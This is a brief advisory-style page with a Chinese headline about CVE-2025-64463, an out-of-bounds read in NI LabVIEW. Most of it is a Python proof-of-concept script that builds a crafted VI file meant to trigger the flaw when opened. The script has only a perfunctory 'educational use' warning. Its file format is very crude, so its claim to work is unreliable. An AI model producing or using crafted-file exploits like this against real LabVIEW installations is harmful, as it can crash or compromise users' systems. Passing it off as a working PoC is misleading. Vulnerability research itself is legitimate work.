CVE-2025-64463 NI LabVIEW越界读取漏洞可导致代码执行

#!/usr/bin/env python3 """ CVE-2025-64463 PoC - NI LabVIEW LVResource::DetachResource() Out of Bounds Read This PoC demonstrates the vulnerability by creating a malformed VI file that triggers an out of bounds read in the LVResource::DetachResource() function. WARNING: For educational and security research purposes only. """ import struct import os def create_malformed_vi_file(output_path): """ Create a malformed VI file that triggers CVE-2025-64463 The vulnerability is in LVResource::DetachResource() when parsing corrupted VI files """ # LabVIEW VI file magic number vi_header = b'VI' # Version information version = b'\x25\x03\x00\x00' # LabVIEW 25.3 # Create a malformed resource section with oversized data # This triggers the out of bounds read in DetachResource() malformed_resource = b'\x00' * 10000 # Oversized resource data # Corrupted resource header pointing to invalid memory region resource_header = struct.pack('<I', 0xFFFFFFFF) # Invalid size resource_header += struct.pack('<I', 0x00000001) # Resource type flag resource_header += malformed_resource # Construct the malicious VI file vi_file = vi_header + version + resource_header with open(output_path, 'wb') as f: f.write(vi_file) print(f"[+] Malformed VI file created: {output_path}") print(f"[+] File size: {len(vi_file)} bytes") print(f"[!] This file may trigger CVE-2025-64463 when opened in NI LabVIEW") if __name__ == '__main__': output_file = 'CVE-2025-64463_malformed.vi' create_malformed_vi_file(output_file) print("\n[*] PoC generated. Note: Actual exploitation requires NI LabVIEW installation.")